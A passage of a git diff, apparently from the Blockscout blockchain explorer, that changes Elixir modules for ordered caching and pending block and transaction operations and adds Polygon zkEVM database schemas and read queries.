+ withdrawal_events + |> cast(attrs, @required_attrs ++ @optional_attrs) + |> validate_required(@required_attrs) + end + + @doc """ + Forms a query to find the last Withdrawal L1 event's block number and transaction hash. + Used by the `Indexer.Fetcher.Optimism.WithdrawalEvent` module. + + ## Returns + - A query which can be used by the `Repo.one` function. + """ + @spec last_event_l1_block_number_query() :: Ecto.Queryable.t() + def last_event_l1_block_number_query do + from(event in __MODULE__, + select: {event.l1_block_number, event.l1_transaction_hash}, + order_by: [desc: event.l1_timestamp], + limit: 1 + ) + end + + @doc """ + Forms a query to remove all Withdrawal L1 events related to the specified L1 block number. + Used by the `Indexer.Fetcher.Optimism.WithdrawalEvent` module. + + ## Parameters + - `l1_block_number`: The L1 block number for which the events should be removed + from the `op_withdrawal_events` database table. + + ## Returns + - A query which can be used by the `delete_all` function. + """ + @spec remove_events_query(non_neg_integer()) :: Ecto.Queryable.t() + def remove_events_query(l1_block_number) do + from(event in __MODULE__, where: event.l1_block_number == ^l1_block_number) + end +end diff --git a/apps/explorer/lib/explorer/chain/ordered_cache.ex b/apps/explorer/lib/explorer/chain/ordered_cache.ex index 5365fe0f7636..62704e95244e 100644 --- a/apps/explorer/lib/explorer/chain/ordered_cache.ex +++ b/apps/explorer/lib/explorer/chain/ordered_cache.ex @@ -112,6 +112,19 @@ defmodule Explorer.Chain.OrderedCache do """ @callback take_enough(integer()) :: [element] | nil + @doc """ + Behaves like `take_enough/1`, but addresses [#10445](https://github.com/blockscout/blockscout/issues/10445). + """ + @callback atomic_take_enough(integer()) :: [element] | nil + + @doc """ + Processes the elements before updating the cache. + This function is called before the `update/1` function and can be used to + modify the elements to be inserted. Can be used to optimize memory usage along + with fetching time. + """ + @callback sanitize_before_update(element) :: element + @doc """ Adds an element, or a list of elements, to the cache. When the cache is full, only the most prevailing elements will be stored, based @@ -164,6 +177,9 @@ defmodule Explorer.Chain.OrderedCache do @impl OrderedCache def element_to_id(element), do: element + @impl OrderedCache + def sanitize_before_update(element), do: element + ### Straightforward fetching functions @impl OrderedCache @@ -204,6 +220,22 @@ defmodule Explorer.Chain.OrderedCache do end end + @impl OrderedCache + def atomic_take_enough(amount) do + items = + cache_name() + |> ConCache.ets() + |> :ets.tab2list() + + if amount <= Enum.count(items) - 1 do + items + |> Enum.reject(fn {key, _value} -> key == ids_list_key() end) + |> Enum.sort(&prevails?/2) + |> Enum.take(amount) + |> Enum.map(fn {_key, value} -> value end) + end + end + ### Updating function def remove_deleted_from_index({:delete, _cache_pid, id}) do @@ -223,11 +255,16 @@ defmodule Explorer.Chain.OrderedCache do def update(elements) when is_nil(elements), do: :ok def update(elements) when is_list(elements) do + prepared_elements = + elements + |> Enum.sort_by(&element_to_id(&1), &prevails?(&1, &2)) + |> Enum.take(max_size()) + |> do_preloads() + |> Enum.map(&{element_to_id(&1), sanitize_before_update(&1)}) + ConCache.update(cache_name(), ids_list_key(), fn ids -> updated_list = - elements - |> Enum.map(&{element_to_id(&1), &1}) - |> Enum.sort(&prevails?(&1, &2)) + prepared_elements |> merge_and_update(ids || [], max_size()) # ids_list is set to never expire @@ -237,6 +274,14 @@ defmodule Explorer.Chain.OrderedCache do def update(element), do: update([element]) + defp do_preloads(elements) do + if Enum.empty?(preloads()) do + elements + else + Explorer.Repo.preload(elements, preloads()) + end + end + defp merge_and_update(_candidates, existing, 0) do # if there is no more space in the list remove the remaining existing # elements and return an empty list @@ -246,7 +291,7 @@ defmodule Explorer.Chain.OrderedCache do defp merge_and_update([], existing, size) do # if there are no more candidates to be inserted keep as many of the - # exsisting elements and remove the rest + # existing elements and remove the rest {remaining, to_remove} = Enum.split(existing, size) remove(to_remove) remaining @@ -274,7 +319,7 @@ defmodule Explorer.Chain.OrderedCache do [head | merge_and_update(to_check, tail, size - 1)] prevails?(head, candidate_id) -> - # keep the prevaling existing value and compare all candidates against the rest + # keep the prevailing existing value and compare all candidates against the rest [head | merge_and_update(candidates, tail, size - 1)] true -> @@ -290,7 +335,7 @@ defmodule Explorer.Chain.OrderedCache do # Different updates cannot interfere with the removed element because # if this was scheduled for removal it means it is too old, so following # updates cannot insert it in the future. - Task.start(fn -> + Task.start_link(fn -> Process.sleep(100) if is_list(key) do @@ -302,17 +347,10 @@ defmodule Explorer.Chain.OrderedCache do end defp put_element(element_id, element) do - full_element = - if Enum.empty?(preloads()) do - element - else - Explorer.Repo.preload(element, preloads()) - end - # dirty puts are a little faster than puts with locks. # this is not a problem because this is the only function modifying rows # and it only gets called inside `update`, which works isolated - ConCache.dirty_put(cache_name(), element_id, full_element) + ConCache.dirty_put(cache_name(), element_id, element) end ### Supervisor's child specification @@ -348,7 +386,8 @@ defmodule Explorer.Chain.OrderedCache do max_size: 0, preloads: 0, prevails?: 2, - element_to_id: 1 + element_to_id: 1, + sanitize_before_update: 1 end end end diff --git a/apps/explorer/lib/explorer/chain/pending_block_operation.ex b/apps/explorer/lib/explorer/chain/pending_block_operation.ex index d85cc589b0b4..ca205f978fee 100644 --- a/apps/explorer/lib/explorer/chain/pending_block_operation.ex +++ b/apps/explorer/lib/explorer/chain/pending_block_operation.ex @@ -5,26 +5,29 @@ defmodule Explorer.Chain.PendingBlockOperation do use Explorer.Schema + import Explorer.Chain, only: [add_fetcher_limit: 2] + alias Explorer.Chain.{Block, Hash} + alias Explorer.Repo - @required_attrs ~w(block_hash fetch_internal_transactions)a + @required_attrs ~w(block_hash block_number)a @typedoc """ * `block_hash` - the hash of the block that has pending operations. - * `fetch_internal_transactions` - if the block needs its internal transactions fetched (or not) """ - @type t :: %__MODULE__{ - block_hash: Hash.Full.t(), - fetch_internal_transactions: boolean() - } - @primary_key false - schema "pending_block_operations" do - field(:fetch_internal_transactions, :boolean) - + typed_schema "pending_block_operations" do timestamps() - belongs_to(:block, Block, foreign_key: :block_hash, primary_key: true, references: :hash, type: Hash.Full) + field(:block_number, :integer, null: false) + + belongs_to(:block, Block, + foreign_key: :block_hash, + primary_key: true, + references: :hash, + type: Hash.Full, + null: false + ) end def changeset(%__MODULE__{} = pending_ops, attrs) do @@ -35,53 +38,62 @@ defmodule Explorer.Chain.PendingBlockOperation do |> unique_constraint(:block_hash, name: :pending_block_operations_pkey) end - @doc """ - Returns all pending block operations with the `block_hash` in the given list, - using "FOR UPDATE" to grab ShareLocks in order (see docs: sharelocks.md) - """ - def fetch_and_lock_by_hashes(hashes) when is_list(hashes) do + def block_hashes do from( pending_ops in __MODULE__, - where: pending_ops.block_hash in ^hashes, - order_by: [asc: pending_ops.block_hash], - lock: "FOR UPDATE" + select: pending_ops.block_hash ) end - def block_hashes(filter \\ nil) - - def block_hashes(filter) when is_nil(filter) do - from( - pending_ops in __MODULE__, - select: pending_ops.block_hash - ) + @doc """ + Returns the count of pending block operations in provided blocks range + (between `from_block_number` and `to_block_number`). + """ + @spec blocks_count_in_range(integer(), integer()) :: integer() + def blocks_count_in_range(from_block_number, to_block_number) when from_block_number <= to_block_number do + __MODULE__ + |> where([pbo], pbo.block_number >= ^from_block_number) + |> where([pbo], pbo.block_number <= ^to_block_number) + |> select([pbo], count(pbo.block_number)) + |> Repo.one() end - def block_hashes(filters) when is_list(filters) do - true_filters = Keyword.new(filters, &{&1, true}) + @doc """ + Returns a stream of all blocks with unfetched internal transactions, using + the `pending_block_operation` table. - from( - pending_ops in __MODULE__, - where: ^true_filters, - select: pending_ops.block_hash - ) - end + iex> unfetched = insert(:block) + iex> insert(:pending_block_operation, block: unfetched, block_number: unfetched.number) + iex> {:ok, number_set} = Explorer.Chain.stream_blocks_with_unfetched_internal_transactions( + ...> MapSet.new(), + ...> fn number, acc -> + ...> MapSet.put(acc, number) + ...> end + ...> ) + iex> unfetched.number in number_set + true - def block_hashes(filter), do: block_hashes([filter]) + """ + @spec stream_blocks_with_unfetched_internal_transactions( + initial :: accumulator, + reducer :: (entry :: term(), accumulator -> accumulator), + limited? :: boolean() + ) :: {:ok, accumulator} + when accumulator: term() + def stream_blocks_with_unfetched_internal_transactions(initial, reducer, limited? \\ false) + when is_function(reducer, 2) do + direction = Application.get_env(:indexer, :internal_transactions_fetch_order) - def default_on_conflict do - from( - pending_ops in __MODULE__, - update: [ - set: [ - fetch_internal_transactions: - pending_ops.fetch_internal_transactions or fragment("EXCLUDED.fetch_internal_transactions"), - # Don't update `block_hash` as it is used for the conflict target - inserted_at: pending_ops.inserted_at, - updated_at: fragment("EXCLUDED.updated_at") - ] - ], - where: fragment("EXCLUDED.fetch_internal_transactions <> ?", pending_ops.fetch_internal_transactions) - ) + query = + from( + po in __MODULE__, + where: not is_nil(po.block_number), + select: po.block_number, + order_by: [{^direction, po.block_number}] + ) + + query + |> add_fetcher_limit(limited?) + |> Repo.stream_reduce(initial, reducer) end end diff --git a/apps/explorer/lib/explorer/chain/pending_operations_helper.ex b/apps/explorer/lib/explorer/chain/pending_operations_helper.ex new file mode 100644 index 000000000000..915449947729 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/pending_operations_helper.ex @@ -0,0 +1,157 @@ +defmodule Explorer.Chain.PendingOperationsHelper do + @moduledoc false + + import Ecto.Query + + alias Explorer.Chain.{Hash, PendingBlockOperation, PendingTransactionOperation, Transaction} + alias Explorer.{Helper, Repo} + + @transactions_batch_size 1000 + @blocks_batch_size 10 + + def pending_operations_type do + # TODO: bring back this condition after the migration of internal transactions PK to [:block_hash, :transaction_index, :index] + # if Application.get_env(:explorer, :json_rpc_named_arguments)[:variant] == EthereumJSONRPC.Geth and + # not Application.get_env(:ethereum_jsonrpc, EthereumJSONRPC.Geth)[:block_traceable?], + # do: "transactions", + # else: "blocks" + + if Application.get_env(:explorer, :non_existing_variable, false) do + "transactions" + else + "blocks" + end + end + + @doc """ + Deletes all entities from `PendingTransactionOperation` related to provided `transaction_hashes`. + """ + @spec delete_related_transaction_operations([Hash.Full.t()]) :: {non_neg_integer(), nil} + def delete_related_transaction_operations(transaction_hashes) do + pending_operations_query = + from( + pto in PendingTransactionOperation, + where: pto.transaction_hash in ^transaction_hashes, + order_by: [asc: :transaction_hash], + lock: "FOR UPDATE" + ) + + Repo.delete_all( + from( + pto in PendingTransactionOperation, + join: s in subquery(pending_operations_query), + on: pto.transaction_hash == s.transaction_hash + ) + ) + end + + def actual_entity do + case pending_operations_type() do + "blocks" -> PendingBlockOperation + "transactions" -> PendingTransactionOperation + end + end + + def maybe_transfuse_data do + case {pending_operations_type(), data_exists?(PendingBlockOperation), data_exists?(PendingTransactionOperation)} do + {"blocks", _blocks_data_exists?, true} -> do_transfuse(&from_transactions_to_blocks_function/0) + {"transactions", true, _transactions_data_exists?} -> do_transfuse(&from_blocks_to_transactions_function/0) + {_entity, _blocks_data_exists?, _transactions_data_exists?} -> :ok + end + end + + defp data_exists?(entity) do + entity + |> select([_], 1) + |> limit(1) + |> Repo.one() + |> is_nil() + |> Kernel.not() + end + + defp do_transfuse(transfuse_function) do + case Repo.transaction(transfuse_function) do + {:ok, :finish} -> :ok + {:ok, :continue} -> do_transfuse(transfuse_function) + end + end + + defp from_transactions_to_blocks_function do + pbo_params_query = + from( + pto in PendingTransactionOperation, + join: t in assoc(pto, :transaction), + select: %{block_hash: t.block_hash, block_number: t.block_number}, + limit: @transactions_batch_size + ) + + case Repo.all(pbo_params_query) do + [] -> + :finish + + pbo_params -> + filtered_pbo_params = Enum.reject(pbo_params, &is_nil(&1.block_hash)) + Repo.insert_all(PendingBlockOperation, Helper.add_timestamps(filtered_pbo_params), on_conflict: :nothing) + + block_numbers_to_delete = Enum.map(pbo_params, & &1.block_number) + + delete_query = + from( + pto in PendingTransactionOperation, + join: t in assoc(pto, :transaction), + where: is_nil(t.block_number) or t.block_number in ^block_numbers_to_delete + ) + + Repo.delete_all(delete_query) + + :continue + end + end + + defp from_blocks_to_transactions_function do + pbo_block_numbers_query = + PendingBlockOperation + |> limit(@blocks_batch_size) + |> select([pbo], pbo.block_number) + + case Repo.all(pbo_block_numbers_query) do + [] -> + :finish + + pbo_block_numbers -> + pto_params = + Transaction + |> where([t], t.block_number in ^pbo_block_numbers) + |> select([t], %{transaction_hash: t.hash}) + |> Repo.all() + |> Helper.add_timestamps() + + Repo.insert_all(PendingTransactionOperation, pto_params, on_conflict: :nothing) + + PendingBlockOperation + |> where([pbo], pbo.block_number in ^pbo_block_numbers) + |> Repo.delete_all() + + :continue + end + end + + @doc """ + Generates a query to find pending block operations that match any of the given block hashes. + + ## Parameters + + - `block_hashes`: A list of block hashes to filter the pending block operations. + + ## Returns + + - An Ecto query that can be executed to retrieve the matching pending block operations. + """ + @spec block_hash_in_query([Hash.Full.t()]) :: Ecto.Query.t() + def block_hash_in_query(block_hashes) do + from( + pending_ops in PendingBlockOperation, + where: pending_ops.block_hash in ^block_hashes + ) + end +end diff --git a/apps/explorer/lib/explorer/chain/pending_transaction_operation.ex b/apps/explorer/lib/explorer/chain/pending_transaction_operation.ex new file mode 100644 index 000000000000..dd84f1170830 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/pending_transaction_operation.ex @@ -0,0 +1,91 @@ +defmodule Explorer.Chain.PendingTransactionOperation do + @moduledoc """ + Tracks a transaction that has pending operations. + """ + + use Explorer.Schema + + import Explorer.Chain, only: [add_fetcher_limit: 2] + + alias Explorer.Chain.{Hash, Transaction} + alias Explorer.Repo + + @required_attrs ~w(transaction_hash)a + + @typedoc """ + * `transaction_hash` - the hash of the transaction that has pending operations. + """ + @primary_key false + typed_schema "pending_transaction_operations" do + timestamps() + + belongs_to(:transaction, Transaction, + foreign_key: :transaction_hash, + primary_key: true, + references: :hash, + type: Hash.Full, + null: false + ) + end + + def changeset(%__MODULE__{} = pending_ops, attrs) do + pending_ops + |> cast(attrs, @required_attrs) + |> validate_required(@required_attrs) + end + + @doc """ + Returns the count of pending blocks in provided range + (between `from_block_number` and `to_block_number`). + """ + @spec blocks_count_in_range(integer(), integer()) :: integer() + def blocks_count_in_range(from_block_number, to_block_number) when from_block_number <= to_block_number do + __MODULE__ + |> join(:inner, [pto], t in assoc(pto, :transaction)) + |> where([_pto, t], t.block_number >= ^from_block_number) + |> where([_pto, t], t.block_number <= ^to_block_number) + |> select([_pto, t], count(t.block_number, :distinct)) + |> Repo.one() + end + + @doc """ + Returns a stream of all transactions with unfetched internal transactions, using + the `pending_transaction_operation` table. + iex> unfetched_block = insert(:block) + iex> unfetched_transaction = insert(:transaction) |> with_block(unfetched_block) + iex> insert(:pending_transaction_operation, transaction: unfetched_transaction) + iex> {:ok, transaction_params_set} = Explorer.Chain.stream_transactions_with_unfetched_internal_transactions( + ...> MapSet.new(), + ...> fn transaction_params, acc -> + ...> MapSet.put(acc, transaction_params) + ...> end + ...> ) + iex> %{ + ...> block_number: unfetched_transaction.block_number, + ...> hash: unfetched_transaction.hash, + ...> index: unfetched_transaction.index + ...> } in transaction_params_set + true + """ + @spec stream_transactions_with_unfetched_internal_transactions( + initial :: accumulator, + reducer :: (entry :: term(), accumulator -> accumulator) + ) :: {:ok, accumulator} + when accumulator: term() + def stream_transactions_with_unfetched_internal_transactions(initial, reducer, limited? \\ false) + when is_function(reducer, 2) do + direction = Application.get_env(:indexer, :internal_transactions_fetch_order) + + query = + from( + po in __MODULE__, + join: t in assoc(po, :transaction), + select: %{block_number: t.block_number, hash: t.hash, index: t.index}, + order_by: [{^direction, t.block_number}] + ) + + query + |> add_fetcher_limit(limited?) + |> Repo.stream_reduce(initial, reducer) + end +end diff --git a/apps/explorer/lib/explorer/chain/polygon_zkevm/batch_transaction.ex b/apps/explorer/lib/explorer/chain/polygon_zkevm/batch_transaction.ex new file mode 100644 index 000000000000..18d8a775a1b3 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/polygon_zkevm/batch_transaction.ex @@ -0,0 +1,37 @@ +defmodule Explorer.Chain.PolygonZkevm.BatchTransaction do + @moduledoc "Models a list of transactions related to a batch for zkEVM." + + use Explorer.Schema + + alias Explorer.Chain.{Hash, Transaction} + alias Explorer.Chain.PolygonZkevm.TransactionBatch + + @required_attrs ~w(batch_number hash)a + + @primary_key false + typed_schema "polygon_zkevm_batch_l2_transactions" do + belongs_to(:batch, TransactionBatch, foreign_key: :batch_number, references: :number, type: :integer, null: false) + + belongs_to(:l2_transaction, Transaction, + foreign_key: :hash, + primary_key: true, + references: :hash, + type: Hash.Full, + null: false + ) + + timestamps(null: false) + end + + @doc """ + Validates that the `attrs` are valid. + """ + @spec changeset(Ecto.Schema.t(), map()) :: Ecto.Schema.t() + def changeset(%__MODULE__{} = transactions, attrs \\ %{}) do + transactions + |> cast(attrs, @required_attrs) + |> validate_required(@required_attrs) + |> foreign_key_constraint(:batch_number) + |> unique_constraint(:hash) + end +end diff --git a/apps/explorer/lib/explorer/chain/polygon_zkevm/bridge.ex b/apps/explorer/lib/explorer/chain/polygon_zkevm/bridge.ex new file mode 100644 index 000000000000..c0623f8fbf52 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/polygon_zkevm/bridge.ex @@ -0,0 +1,55 @@ +defmodule Explorer.Chain.PolygonZkevm.Bridge do + @moduledoc "Models a bridge operation for Polygon zkEVM." + + use Explorer.Schema + + alias Explorer.Chain.{Block, Hash, Token} + alias Explorer.Chain.PolygonZkevm.BridgeL1Token + + @optional_attrs ~w(l1_transaction_hash l2_transaction_hash l1_token_id l2_token_address block_number block_timestamp)a + + @required_attrs ~w(type index amount)a + + @type t :: %__MODULE__{ + type: String.t(), + index: non_neg_integer(), + l1_transaction_hash: Hash.t() | nil, + l2_transaction_hash: Hash.t() | nil, + l1_token: %Ecto.Association.NotLoaded{} | BridgeL1Token.t() | nil, + l1_token_id: non_neg_integer() | nil, + l1_token_address: Hash.Address.t() | nil, + l2_token: %Ecto.Association.NotLoaded{} | Token.t() | nil, + l2_token_address: Hash.Address.t() | nil, + amount: Decimal.t(), + block_number: Block.block_number() | nil, + block_timestamp: DateTime.t() | nil + } + + @primary_key false + schema "polygon_zkevm_bridge" do + field(:type, Ecto.Enum, values: [:deposit, :withdrawal], primary_key: true) + field(:index, :integer, primary_key: true) + field(:l1_transaction_hash, Hash.Full) + field(:l2_transaction_hash, Hash.Full) + belongs_to(:l1_token, BridgeL1Token, foreign_key: :l1_token_id, references: :id, type: :integer) + field(:l1_token_address, Hash.Address) + belongs_to(:l2_token, Token, foreign_key: :l2_token_address, references: :contract_address_hash, type: Hash.Address) + field(:amount, :decimal) + field(:block_number, :integer) + field(:block_timestamp, :utc_datetime_usec) + + timestamps() + end + + @doc """ + Checks that the `attrs` are valid. + """ + @spec changeset(Ecto.Schema.t(), map()) :: Ecto.Schema.t() + def changeset(%__MODULE__{} = operations, attrs \\ %{}) do + operations + |> cast(attrs, @required_attrs ++ @optional_attrs) + |> validate_required(@required_attrs) + |> unique_constraint([:type, :index]) + |> foreign_key_constraint(:l1_token_id) + end +end diff --git a/apps/explorer/lib/explorer/chain/polygon_zkevm/bridge_l1_token.ex b/apps/explorer/lib/explorer/chain/polygon_zkevm/bridge_l1_token.ex new file mode 100644 index 000000000000..c3187c28ea40 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/polygon_zkevm/bridge_l1_token.ex @@ -0,0 +1,37 @@ +defmodule Explorer.Chain.PolygonZkevm.BridgeL1Token do + @moduledoc "Models a bridge token on L1 for Polygon zkEVM." + + use Explorer.Schema + + alias Explorer.Chain.Hash + + @optional_attrs ~w(decimals symbol)a + + @required_attrs ~w(address)a + + @type t :: %__MODULE__{ + address: Hash.Address.t(), + decimals: non_neg_integer() | nil, + symbol: String.t() | nil + } + + @primary_key {:id, :id, autogenerate: true} + schema "polygon_zkevm_bridge_l1_tokens" do + field(:address, Hash.Address) + field(:decimals, :integer) + field(:symbol, :string) + + timestamps() + end + + @doc """ + Checks that the `attrs` are valid. + """ + @spec changeset(Ecto.Schema.t(), map()) :: Ecto.Schema.t() + def changeset(%__MODULE__{} = tokens, attrs \\ %{}) do + tokens + |> cast(attrs, @required_attrs ++ @optional_attrs) + |> validate_required(@required_attrs) + |> unique_constraint(:id) + end +end diff --git a/apps/explorer/lib/explorer/chain/polygon_zkevm/lifecycle_transaction.ex b/apps/explorer/lib/explorer/chain/polygon_zkevm/lifecycle_transaction.ex new file mode 100644 index 000000000000..e1ec0a7abc30 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/polygon_zkevm/lifecycle_transaction.ex @@ -0,0 +1,33 @@ +defmodule Explorer.Chain.PolygonZkevm.LifecycleTransaction do + @moduledoc "Models an L1 lifecycle transaction for zkEVM." + + use Explorer.Schema + + alias Explorer.Chain.Hash + alias Explorer.Chain.PolygonZkevm.TransactionBatch + + @required_attrs ~w(id hash is_verify)a + + @primary_key false + typed_schema "polygon_zkevm_lifecycle_l1_transactions" do + field(:id, :integer, primary_key: true, null: false) + field(:hash, Hash.Full, null: false) + field(:is_verify, :boolean, null: false) + + has_many(:sequenced_batches, TransactionBatch, foreign_key: :sequence_id, references: :id) + has_many(:verified_batches, TransactionBatch, foreign_key: :verify_id, references: :id) + + timestamps() + end + + @doc """ + Validates that the `attrs` are valid. + """ + @spec changeset(Ecto.Schema.t(), map()) :: Ecto.Schema.t() + def changeset(%__MODULE__{} = transaction, attrs \\ %{}) do + transaction + |> cast(attrs, @required_attrs) + |> validate_required(@required_attrs) + |> unique_constraint(:id) + end +end diff --git a/apps/explorer/lib/explorer/chain/polygon_zkevm/reader.ex b/apps/explorer/lib/explorer/chain/polygon_zkevm/reader.ex new file mode 100644 index 000000000000..9e983a6d846f --- /dev/null +++ b/apps/explorer/lib/explorer/chain/polygon_zkevm/reader.ex @@ -0,0 +1,396 @@ +defmodule Explorer.Chain.PolygonZkevm.Reader do + @moduledoc "Contains read functions for zkevm modules." + + import Ecto.Query, + only: [ + from: 2, + limit: 2, + order_by: 2, + where: 2, + where: 3 + ] + + import Explorer.Chain, only: [select_repo: 1] + + alias Explorer.Chain.PolygonZkevm.{BatchTransaction, Bridge, BridgeL1Token, LifecycleTransaction, TransactionBatch} + alias Explorer.{Chain, PagingOptions, Repo} + alias Explorer.Prometheus.Instrumenter + alias Indexer.Helper + + @doc """ + Reads a batch by its number from database. + If the number is :latest, gets the latest batch from `polygon_zkevm_transaction_batches` table. + Returns {:error, :not_found} in case the batch is not found. + """ + @spec batch(non_neg_integer() | :latest, list()) :: {:ok, map()} | {:error, :not_found} + def batch(number, options \\ []) + + def batch(:latest, options) when is_list(options) do + TransactionBatch + |> order_by(desc: :number) + |> limit(1) + |> select_repo(options).one() + |> case do + nil -> {:error, :not_found} + batch -> {:ok, batch} + end + end + + def batch(number, options) when is_list(options) do + necessity_by_association = Keyword.get(options, :necessity_by_association, %{}) + + TransactionBatch + |> where(number: ^number) + |> Chain.join_associations(necessity_by_association) + |> select_repo(options).one() + |> case do + nil -> {:error, :not_found} + batch -> {:ok, batch} + end + end + + @doc """ + Reads a list of batches from `polygon_zkevm_transaction_batches` table. + """ + @spec batches(list()) :: list() + def batches(options \\ []) do + necessity_by_association = Keyword.get(options, :necessity_by_association, %{}) + + base_query = + from(tb in TransactionBatch, + order_by: [desc: tb.number] + ) + + query = + if Keyword.get(options, :confirmed?, false) do + base_query + |> Chain.join_associations(necessity_by_association) + |> where([tb], not is_nil(tb.sequence_id) and tb.sequence_id > 0) + |> limit(10) + else + paging_options = Keyword.get(options, :paging_options, Chain.default_paging_options()) + + case paging_options do + %PagingOptions{key: {0}} -> + [] + + _ -> + base_query + |> Chain.join_associations(necessity_by_association) + |> page_batches(paging_options) + |> limit(^paging_options.page_size) + end + end + + select_repo(options).all(query) + end + + @doc """ + Reads a list of L2 transaction hashes from `polygon_zkevm_batch_l2_transactions` table. + """ + @spec batch_transactions(non_neg_integer(), list()) :: list() + def batch_transactions(batch_number, options \\ []) do + query = from(bts in BatchTransaction, where: bts.batch_number == ^batch_number) + + select_repo(options).all(query) + end + + @doc """ + Tries to read L1 token data (address, symbol, decimals) for the given addresses + from the database. If the data for an address is not found in Explorer.Chain.PolygonZkevm.BridgeL1Token, + the address is returned in the list inside the tuple (the second item of the tuple). + The first item of the returned tuple contains `L1 token address -> L1 token data` map. + """ + @spec get_token_data_from_db(list()) :: {map(), list()} + def get_token_data_from_db(token_addresses) do + # try to read token symbols and decimals from the database + query = + from( + t in BridgeL1Token, + where: t.address in ^token_addresses, + select: {t.address, t.decimals, t.symbol} + ) + + token_data = + query + |> Repo.all() + |> Enum.reduce(%{}, fn {address, decimals, symbol}, acc -> + token_address = Helper.address_hash_to_string(address, true) + Map.put(acc, token_address, %{symbol: symbol, decimals: decimals}) + end) + + token_addresses_for_rpc = + token_addresses + |> Enum.reject(fn address -> + Map.has_key?(token_data, Helper.address_hash_to_string(address, true)) + end) + + {token_data, token_addresses_for_rpc} + end + + @doc """ + Gets last known L1 item (deposit) from polygon_zkevm_bridge table. + Returns block number and L1 transaction hash bound to that deposit. + If not found, returns zero block number and nil as the transaction hash. + """ + @spec last_l1_item() :: {non_neg_integer(), binary() | nil} + def last_l1_item do + query = + from(b in Bridge, + select: {b.block_number, b.l1_transaction_hash}, + where: b.type == :deposit and not is_nil(b.block_number), + order_by: [desc: b.index], + limit: 1 + ) + + query + |> Repo.one() + |> Kernel.||({0, nil}) + end + + @doc """ + Gets last known L2 item (withdrawal) from polygon_zkevm_bridge table. + Returns block number and L2 transaction hash bound to that withdrawal. + If not found, returns zero block number and nil as the transaction hash. + """ + @spec last_l2_item() :: {non_neg_integer(), binary() | nil} + def last_l2_item do + query = + from(b in Bridge, + select: {b.block_number, b.l2_transaction_hash}, + where: b.type == :withdrawal and not is_nil(b.block_number), + order_by: [desc: b.index], + limit: 1 + ) + + query + |> Repo.one() + |> Kernel.||({0, nil}) + end + + @doc """ + Gets the number of the latest batch with defined verify_id from `polygon_zkevm_transaction_batches` table. + Returns 0 if not found. + """ + @spec last_verified_batch_number() :: non_neg_integer() + def last_verified_batch_number do + query = + from(tb in TransactionBatch, + select: tb.number, + where: not is_nil(tb.verify_id), + order_by: [desc: tb.number], + limit: 1 + ) + + query + |> Repo.one() + |> Kernel.||(0) + end + + @doc """ + Reads a list of L1 transactions by their hashes from `polygon_zkevm_lifecycle_l1_transactions` table. + """ + @spec lifecycle_transactions(list()) :: list() + def lifecycle_transactions([]), do: [] + + def lifecycle_transactions(l1_transaction_hashes) do + query = + from( + lt in LifecycleTransaction, + select: {lt.hash, lt.id}, + where: lt.hash in ^l1_transaction_hashes + ) + + Repo.all(query, timeout: :infinity) + end + + @doc """ + Determines ID of the future lifecycle transaction by reading `polygon_zkevm_lifecycle_l1_transactions` table. + """ + @spec next_id() :: non_neg_integer() + def next_id do + query = + from(lt in LifecycleTransaction, + select: lt.id, + order_by: [desc: lt.id], + limit: 1 + ) + + last_id = + query + |> Repo.one() + |> Kernel.||(0) + + last_id + 1 + end + + @doc """ + Builds `L1 token address -> L1 token id` map for the given token addresses. + The info is taken from Explorer.Chain.PolygonZkevm.BridgeL1Token. + If an address is not in the table, it won't be in the resulting map. + """ + @spec token_addresses_to_ids_from_db(list()) :: map() + def token_addresses_to_ids_from_db(addresses) do + query = from(t in BridgeL1Token, select: {t.address, t.id}, where: t.address in ^addresses) + + query + |> Repo.all(timeout: :infinity) + |> Enum.reduce(%{}, fn {address, id}, acc -> + Map.put(acc, Helper.address_hash_to_string(address), id) + end) + end + + @doc """ + Retrieves a list of Polygon zkEVM deposits (completed and unclaimed) + sorted in descending order of the index. + """ + @spec deposits(list()) :: list() + def deposits(options \\ []) do + paging_options = Keyword.get(options, :paging_options, Chain.default_paging_options()) + + case paging_options do + %PagingOptions{key: {0}} -> + [] + + _ -> + base_query = + from( + b in Bridge, + left_join: t1 in assoc(b, :l1_token), + left_join: t2 in assoc(b, :l2_token), + where: b.type == :deposit and not is_nil(b.l1_transaction_hash), + preload: [l1_token: t1, l2_token: t2], + order_by: [desc: b.index] + ) + + base_query + |> page_deposits_or_withdrawals(paging_options) + |> limit(^paging_options.page_size) + |> select_repo(options).all() + end + end + + @doc """ + Returns a total number of Polygon zkEVM deposits (completed and unclaimed). + """ + @spec deposits_count(list()) :: term() | nil + def deposits_count(options \\ []) do + query = + from( + b in Bridge, + where: b.type == :deposit and not is_nil(b.l1_transaction_hash) + ) + + select_repo(options).aggregate(query, :count, timeout: :infinity) + end + + @doc """ + Retrieves a list of Polygon zkEVM withdrawals (completed and unclaimed) + sorted in descending order of the index. + """ + @spec withdrawals(list()) :: list() + def withdrawals(options \\ []) do + paging_options = Keyword.get(options, :paging_options, Chain.default_paging_options()) + + case paging_options do + %PagingOptions{key: {0}} -> + [] + + _ -> + base_query = + from( + b in Bridge, + left_join: t1 in assoc(b, :l1_token), + left_join: t2 in assoc(b, :l2_token), + where: b.type == :withdrawal and not is_nil(b.l2_transaction_hash), + preload: [l1_token: t1, l2_token: t2], + order_by: [desc: b.index] + ) + + base_query + |> page_deposits_or_withdrawals(paging_options) + |> limit(^paging_options.page_size) + |> select_repo(options).all() + end + end + + @doc """ + Returns a total number of Polygon zkEVM withdrawals (completed and unclaimed). + """ + @spec withdrawals_count(list()) :: term() | nil + def withdrawals_count(options \\ []) do + query = + from( + b in Bridge, + where: b.type == :withdrawal and not is_nil(b.l2_transaction_hash) + ) + + select_repo(options).aggregate(query, :count, timeout: :infinity) + end + + @doc """ + Filters token decimals value (cannot be greater than 0xFF). + """ + @spec sanitize_decimals(non_neg_integer()) :: non_neg_integer() + def sanitize_decimals(decimals) do + if decimals > 0xFF do + 0 + else + decimals + end + end + + @doc """ + Filters token symbol (cannot be longer than 16 characters). + """ + @spec sanitize_symbol(String.t()) :: String.t() + def sanitize_symbol(symbol) do + String.slice(symbol, 0, 16) + end + + defp page_batches(query, %PagingOptions{key: nil}), do: query + + defp page_batches(query, %PagingOptions{key: {number}}) do + from(tb in query, where: tb.number < ^number) + end + + defp 